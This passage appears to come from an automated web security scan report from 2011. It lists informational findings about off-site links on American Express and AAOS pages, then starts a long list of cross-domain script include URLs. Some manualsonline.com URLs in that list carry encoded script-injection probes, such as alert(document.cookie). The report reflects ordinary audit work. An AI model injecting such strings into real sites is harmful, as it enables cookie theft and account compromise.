Set-Cookie: dsmLive_JSESSIONID=0000aV5XAfmWYVza0g8L0PJAX_u:14qpqp8bv; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 44681

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>Merchant Services: Online Merchant Accounts & Dispute Resolution at American Express</title><META name="key
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.237. https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalsavings.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/contactus/personalsavings.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalsavings.do?vgnextoid=d752e13f929a7210VgnVCM100000defaad94RCRD&page=7&inav=iNavUtilContact

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:16 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000fxhwIOrKDi2q99FOvTDSEpr:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 35307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.238. https://www212.americanexpress.com/dsmlive/dsm/int/fxip/fxinternationalpayments.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/fxip/fxinternationalpayments.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/int/fxip/fxinternationalpayments.do?vgnextoid=7d032027eaafc110VgnVCM200000d0faad94RCRD&inav=menu_business_corpfx

The response contains the following links to other domains:

https://americanexpress-gfes.secure.force.com/fxpaymentsUS?c=70120000000CKLn
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/int/fxip/fxinternationalpayments.do?vgnextoid=7d032027eaafc110VgnVCM200000d0faad94RCRD&inav=menu_business_corpfx HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:11 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000z-Qf_wRiI_Bdr7BB-oSs-9z:14qpqp8bv; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 48591

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<hea
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<td align="left" valign="middle"><a href="https://americanexpress-gfes.secure.force.com/fxpaymentsUS?c=70120000000CKLn" class="leftnavitem">Create Account</a>
...[SNIP]...
<em><a title="Apply Now" href="https://americanexpress-gfes.secure.force.com/fxpaymentsUS?c=70120000000CKLn">Apply Now</a>
...[SNIP]...
r business will be required to complete an application, which is subject to review and approval by American Express. For a copy of the application, including terms and conditions, call 888-391-9971 or <a href="https://americanexpress-gfes.secure.force.com/fxpaymentsUS?c=70120000000CKLn">APPLY NOW</a>
...[SNIP]...

20.239. https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/us/en/cmaproductspage.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do?vgnextoid=bbf185df62df5210VgnVCM100000defaad94RCRD&source=footer_card_agreements

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/int/us/en/cmaproductspage.do?vgnextoid=bbf185df62df5210VgnVCM100000defaad94RCRD&source=footer_card_agreements HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:31 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000_4m7WIBmPIoNNk9WC4dguHc:14qpqp8bv; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 57019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>

<link
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.240. https://www295.americanexpress.com/entertainmentaccess/home.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www295.americanexpress.com
Path:	/entertainmentaccess/home.do

Issue detail

The page was loaded from a URL containing a query string:

https://www295.americanexpress.com/entertainmentaccess/home.do?inav=menu_rewards_entertainment

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /entertainmentaccess/home.do?inav=menu_rewards_entertainment HTTP/1.1
Host: www295.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:51 GMT
Server: IBM_HTTP_Server
Set-Cookie: ehub_JSESSIONID=0000HIXYpgtyxhyArs4T5gYeM4J:1563unio9; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 80316

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.241. https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www295.americanexpress.com
Path:	/premium/credit-card-travel-insurance/home.do

Issue detail

The page was loaded from a URL containing a query string:

https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do?inav=menu_travel_protection

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /premium/credit-card-travel-insurance/home.do?inav=menu_travel_protection HTTP/1.1
Host: www295.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:48 GMT
Server: IBM_HTTP_Server
Set-Cookie: fsea_JSESSIONID=0000Kf-C7xFBmlM3DwCxEqANw9g:156jli4a5; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Content-Length: 36699

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>
   <head>


   <meta http-equiv="expires" CONTENT="Thu, 15 Apr 2010 20
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.242. http://www7.aaos.org/education/courses/course_detail.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www7.aaos.org
Path:	/education/courses/course_detail.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www7.aaos.org/education/courses/course_detail.aspx?ProductId=11859

The response contains the following links to other domains:

http://global.smith-nephew.com/master/6600.htm
http://www.depuy.com/
http://www.hertz.com/
http://www.hilton.com/en/hi/groups/personalized/ORLDWHH-AOS-20110331/index.jhtml?WT.mc_id=POG
http://www.medtronic.com/index.htm
http://www.synthes.com/html/
http://www.zimmer.com/en-US/index.jspx

Request

GET /education/courses/course_detail.aspx?ProductId=11859 HTTP/1.1
Host: www7.aaos.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=0iqccb3wvqmulv55c3xuk345; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:23:55 GMT
Connection: close
Content-Length: 39407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">

<head id="ctl00_Head"><ti
...[SNIP]...
<em>AAOS/Orthopaedic Trauma Association
extends sincere appreciation to
<a href="http://www.depuy.com/">DePuy</a > (Gold Level), <a href="http://www.medtronic.com/index.htm">Medtronic</a > (Gold Level) <a href="http://global.smith-nephew.com/master/6600.htm">Smith and Nephew</a > (Gold Level), <a href="http://www.synthes.com/html/">Synthes</a > (Gold Level) and <a href="http://www.zimmer.com/en-US/index.jspx">Zimmer</a >
...[SNIP]...
<td><a id="ctl00_mainContentPlaceHolder_DataListCourse_ctl00_LinkHotel" href="http://www.hilton.com/en/hi/groups/personalized/ORLDWHH-AOS-20110331/index.jhtml?WT.mc_id=POG" target="_blank">You can make your housing reservations online</a>
...[SNIP]...
<td>
For discount car rental, call Hertz Rent-a-car (800-654-2240) (<a href="http://www.hertz.com" target="_blank">www.hertz.com</a>
...[SNIP]...

21. Cross-domain script include previous next
There are 446 instances of this issue:

http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11
http://answers.splunk.com/
http://answers.splunk.com/questions/ask
http://bankskripsi.com/article/casas
http://bassistance.de/jquery-plugins/jquery-plugin-validation/
http://blog.freedownloadscenter.com/
http://blog.owneriq.com/
http://blog.tipd.com/
http://blog.vibrantmedia.com/
http://brandonaaron.net/
http://buzz.yahoo.com/
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html
http://channelmarketing.owneriq.com/rmb-account/login-page
http://chattino.com/
http://creativecommons.org/licenses/by-nc-nd/2.5/
http://current.com/
http://dailyme.com/
http://dean.edwards.name/weblog/2006/03/base/
http://developer.yahoo.com/yui/
http://developer.yahoo.com/yui/license.html
http://digg.com/submit
http://docs.jquery.com/Plugins/Validation
http://docs.jquery.com/UI
http://docs.jquery.com/UI/Datepicker
http://docs.jquery.com/UI/Tabs
http://driverbyte.com/a
http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload
https://ebus.ota.org/default.aspx
http://en.wikipedia.org/wiki/MIT_License
http://etfdb.com/
http://fls.doubleclick.net/activityi
http://funp.com/
http://fussballmania.com/
http://getclicky.com/106253
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
http://gsgd.co.uk/sandbox/jquery/easing/
http://hellotxt.com/
http://hhonors1.hilton.com/en_US/hh/home_index.do
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/
http://homeappliance.manualsonline.com/managemystuff.html
http://identi.ca/
http://imera.com.br/
http://info.riministreet.com/50percentsavings.html
http://itunes.apple.com/us/app/orthosupersite/id401876377
http://jquery.com/
http://jquery.org/license
http://jqueryui.com/about
http://jqueryui.com/themeroller/
http://kambimagazine.blogspot.com/2007/08/malayalam-kambikathakal-kambi-kathakal.html
http://labs.eweek.com/
http://labs.eweek.com/
http://latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://mad4milk.net/
http://malayalamkambikathakaldownload.blogspot.com/2010/05/kochupusthakam-kambikathakal-download.html
http://malayalamkambikathakaldownload.blogspot.com/2010/05/malayalam-kochupusthakam-kambikathakal.html
http://mallustories1.blogspot.com/
http://mallustories1.blogspot.com/2008/11/malayalam-hot-stories.html
http://mallustories1.blogspot.com/2009/02/adhyanubavam.html
http://malsup.com/jquery/form/
http://messenger.yahoo.com/
http://mir.aculo.us/
http://mlayalamhotstories.blogspot.com/2010_10_01_archive.html
http://mootools.net/developers/
http://music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://newstrust.net/
http://nyromodal.nyrodev.com/
http://opensource.org/licenses/lgpl-license.php
http://opensource.org/licenses/mit-license.php
http://pagead2.googlesyndication.com/pagead/s/iframes_api_loader.html
http://pdfdatabase.com/search/malayalam-kochupusthakam-free-download.html
http://pdfebooksfreedownload.com/
http://personalsavings.americanexpress.com/
http://prototypejs.org/
http://qooxdoo.org/
http://rapidog.com/game-thoi-trang-bup-be-ba-by-rapidshare.html
http://rmncdn.com/widget/out/
http://rmncdn.com/widget_cdn.html
http://script.aculo.us/
http://shop.kledy.de/
http://slashdot.org/
http://slashdot.org/submit.pl
http://sourceforge.net/projects/winscp/
http://sphinn.com/
http://statistics.wibiya.com/SetToolbarLoad.php
http://storyonline1.blogspot.com/
http://storyonline1.blogspot.com/2010/05/kochupusthakam-malayalam-kambi-kathakal.html
http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp
http://technorati.com/
http://tipd.com/
http://tipd.com/register
http://travel.aol.com/$|http:/netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://twitter.com/
http://twitter.com/ORTHOSuperSite
http://twitter.com/VibrantMedia
http://twitter.com/owneriq
http://twitter.com/tipd
http://twitter.com/tipd
http://vegetarian.about.com/od/soupsstewsandchili/r/hotandsour.htm
http://redacted/MRT/iview/264255445/direct
http://redacted/MRT/iview/264255445/direct
http://redacted/MRT/iview/264255445/direct
http://redacted/MRT/jview/267859374/direct
http://redacted/MRT/jview/267859374/direct
http://redacted/MRT/jview/267859374/direct
http://vodpod.com/
http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html
http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html
http://wordpress.com/
http://www.addthis.com/bookmark.php
http://www.addtoany.com/email
https://www.aeprepaid.com/index.cfm
http://www.aim.com/
http://www.alistapart.com/articles/taminglists/
http://www.allvoices.com/
http://www.alvit.de/css-showcase/
http://www.amazon.com/
https://www.americanexpress.com/gift/giftcardslanding.shtml
http://www.amextravelresources.com/
http://www.arto.com/
http://www.bargainforce.com/
http://www.baselinemag.com/
http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
http://www.baselinemag.com/googlecse.html
http://www.bebo.com/
http://www.beckerortho.com/
http://www.beckerortho.com/catalog.htm
http://www.beckerortho.com/continuing/
http://www.beckerortho.com/etiology/
http://www.beckerortho.com/friction_management/
http://www.beckerortho.com/history.htm
http://www.beckerortho.com/history/becker_history.htm
http://www.beckerortho.com/knee/training.htm
http://www.beckerortho.com/new/
http://www.beckerortho.com/pastfp.htm
http://www.beckerortho.com/pdac.asp
http://www.beckerortho.com/services.htm
http://www.beckerortho.com/tech.htm
http://www.beckerortho.com/thanks.htm
http://www.bitty.com/
http://www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://www.bookmarks.fr/
https://www.box.net/
http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/
http://www.buddymarks.com/
http://www.buscaglia.com/resources.htm
http://www.care2.com/news/
http://www.chattino.com/
http://www.codero.com/dedicated-server-hosting/
http://www.codylindley.com/
http://www.connotea.org/
http://www.cssplay.co.uk/menus/final_drop.html
http://www.dabagirls.com/|http:/www.stylemepretty.com/|http:/stylehive.com|http:/stylelist.com|http:/www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.digitalia.be/
http://www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.download32.com/
http://www.download32.com/acceleration-tools-33178-category.html
http://www.download32.com/atelier-web-security-port-scanner-d22620.html
http://www.download32.com/atelier-web-security-port-scanner-i22620.html
http://www.download32.com/category.html
http://www.download32.com/command-reference-to-tcp-ip-tools-for-handbase-d72982.html
http://www.download32.com/command-reference-to-tcp-ip-tools-for-handbase-i72982.html
http://www.download32.com/contactus.html
http://www.download32.com/dns-thing-d23380.html
http://www.download32.com/dns-thing-i23380.html
http://www.download32.com/dns-watcher-d23381.html
http://www.download32.com/dns-watcher-i23381.html
http://www.download32.com/interactive-dns-query-d24595.html
http://www.download32.com/interactive-dns-query-i24595.html
http://www.download32.com/ipjudo-1-1a-d54908.html
http://www.download32.com/ipjudo-1-1a-i54908.html
http://www.download32.com/ipjudo-d24736.html
http://www.download32.com/ipjudo-i24736.html
http://www.download32.com/iseu---eu-domain-availability-checker-d24769.html
http://www.download32.com/iseu---eu-domain-availability-checker-i24769.html
http://www.download32.com/linktous.html
http://www.download32.com/linux-19-platform.html
http://www.download32.com/macintosh-2-platform.html
http://www.download32.com/netstat-agent-portable-d60918.html
http://www.download32.com/netstat-agent-portable-i60918.html
http://www.download32.com/network-utilities-module-for-webmin-d78618.html
http://www.download32.com/network-utilities-module-for-webmin-i78618.html
http://www.download32.com/new.html
http://www.download32.com/nslookup-software.html
http://www.download32.com/ntoolc-network-tools-i68640.html
http://www.download32.com/palm-os-3-platform.html
http://www.download32.com/resolve-d55498.html
http://www.download32.com/resolve-i55498.html
http://www.download32.com/resources/all.js
http://www.download32.com/resources/img.js
http://www.download32.com/rss
http://www.download32.com/search/Array
http://www.download32.com/skdns-activex-control-d10700.html
http://www.download32.com/skdns-activex-control-i10700.html
http://www.download32.com/submit.html
http://www.download32.com/top.html
http://www.download32.com/windows-1-platform.html
http://www.dustindiaz.com/min-height-fast-hack/*/
http://www.dynamicdrive.com/dynamicindex5/balloontooltip.htm
http://www.ebooklibs.com/
http://www.evernote.com/
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/
http://www.eweek.com/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/
http://www.eweek.com/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/
http://www.eweek.com/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/
http://www.eweek.com/c/s/Videos/
http://www.facebook.com/
http://www.facebook.com/BlackBerry
http://www.facebook.com/BlackBerryES
http://www.facebook.com/BlackBerryFR
http://www.facebook.com/BlackBerryNL
http://www.facebook.com/BlackBerryUK
http://www.facebook.com/BlackBerryZA
http://www.facebook.com/Craig.Marshall.Deutschland
http://www.facebook.com/ajouli1
http://www.facebook.com/americanexpress
http://www.facebook.com/americanexpress
http://www.facebook.com/dcmoncayo
http://www.facebook.com/fabianomorige
http://www.facebook.com/laprincesita.inigulable
http://www.facebook.com/marytere.medina
http://www.facebook.com/pages/Kledyde/344540630304
http://www.facebook.com/pages/OrthoSuperSitecom/296664256434
http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/pointeresortsaz
http://www.facebook.com/uschi.eller
http://www.facebook.com/vibrantmedia
http://www.fark.com/
http://www.fbi.gov/about-us/investigate/cyber/cyber
http://www.fbi.gov/nipc/welcome.htm
http://www.filetransit.com/
http://www.filetransit.com/alphaindex.php
http://www.filetransit.com/demo.php
http://www.filetransit.com/download.php
http://www.filetransit.com/files.php
http://www.filetransit.com/freeware.php
http://www.filetransit.com/index.php
http://www.filetransit.com/screenshot.php
http://www.filetransit.com/view.php
http://www.fitness-gesundheit.biz/
http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/
http://www.folkd.com/
http://www.forex-direkt.de/
http://www.forex-direkt.de/wp-content/pagepeel/pageear_b.jpg
http://www.forex-direkt.de/wp-content/pagepeel/pageear_s.jpg
http://www.forexyard.com/css/quotes-chart.cssbdb85
http://www.freedownloadscenter.com/
http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html
http://www.freedownloadscenter.com/terms/team-calendar/calendar.html
http://www.freewebs.com/ftasatworld/upgradefortecultra.htm
http://www.gabbr.com/
http://www.geektools.com/
http://www.giveawayoftheday.com/
http://www.godaddy.com/default.aspx
https://www.google.com/adsense/support/bin/request.py
http://www.hyves.nl/
https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html
http://www.jamespot.com/
http://www.jazdtech.com/techdirect/
http://www.jumptags.com/
http://www.kledy.co.uk/
http://www.kledy.de/
http://www.kledy.de/bookmarks.php
http://www.kledy.de/bookmarks.php/
http://www.kledy.de/buttons.php
http://www.kledy.de/groups.php
http://www.kledy.de/impressum.php
http://www.kledy.de/login.php
http://www.kledy.de/topusers.php
http://www.kledy.es/
http://www.kledy.eu/
http://www.kledy.it/
http://www.kledy.us/
http://www.klivio.com/
http://www.klivio.de/
http://www.linkagogo.com/
http://www.linkfixerplus.com/
http://www.linuxsecurity.com/
http://www.livejournal.com/
http://www.manualsonline.com/privacy.html
http://www.manualsonline.com/tc.html
http://www.merapakistan.com/directory/draw_list_prize_bond_draw_result_7500.html
http://www.migrationexpertzone.com/
http://www.mindbodygreen.com/
http://www.mister-wong.com/
http://www.mittelstandsblog.de/
http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/
http://www.mittelstandsblog.de/wp-content/themes/j4b20/dfp-leaderboard.js
http://www.mittelstandsblog.de/wp-content/themes/j4b20/dfp-rectangle.js
http://www.mittelstandsblog.de/wp-content/themes/j4b20/dfp-skyscraper.js
http://www.mylinkvault.com/
http://www.myspace.com/
http://www.networksimplicity.com/openssh/
http://www.newsvine.com/
http://www.nowpublic.com/
http://www.oandp.com/
http://www.officedepot.com/
http://www.officedepot.com/promo/list5.do
http://www.oneview.de/
http://www.openforum.com/
https://www.openforum.com/
https://www.openforum.com/
http://www.opensource.org/licenses
http://www.opensource.org/licenses/gpl-license.php
http://www.opensource.org/licenses/mit-license.php
http://www.ortho.hyperguides.com/
http://www.orthosupersite.com/
http://www.orthosupersite.com/cmecenter/
http://www.orthougm.com/
http://www.orthougm.com/1993_hip_hop_songs.html
http://www.orthougm.com/about_big_surf.html
http://www.orthougm.com/adult_add_symptoms_answerbag.html
http://www.orthougm.com/angelica_lee_profession.html
http://www.orthougm.com/angelica_lee_sin_je_chinese.html
http://www.orthougm.com/angelina_jolean.html
http://www.orthougm.com/banco_scotia.html
http://www.orthougm.com/how_to_use_nslookup.html
http://www.orthougm.com/kabul.html
http://www.orthougm.com/nextbio_is_op.html
http://www.orthougm.com/nslookup.html
http://www.orthougm.com/super_cheap_air_ticket.html
http://www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.owneriq.com/
http://www.owneriq.com/about-us
http://www.owneriq.com/careers
http://www.owneriq.com/contact-us
http://www.owneriq.com/events
http://www.owneriq.com/investors
http://www.owneriq.com/management
http://www.owneriq.com/manuals-online
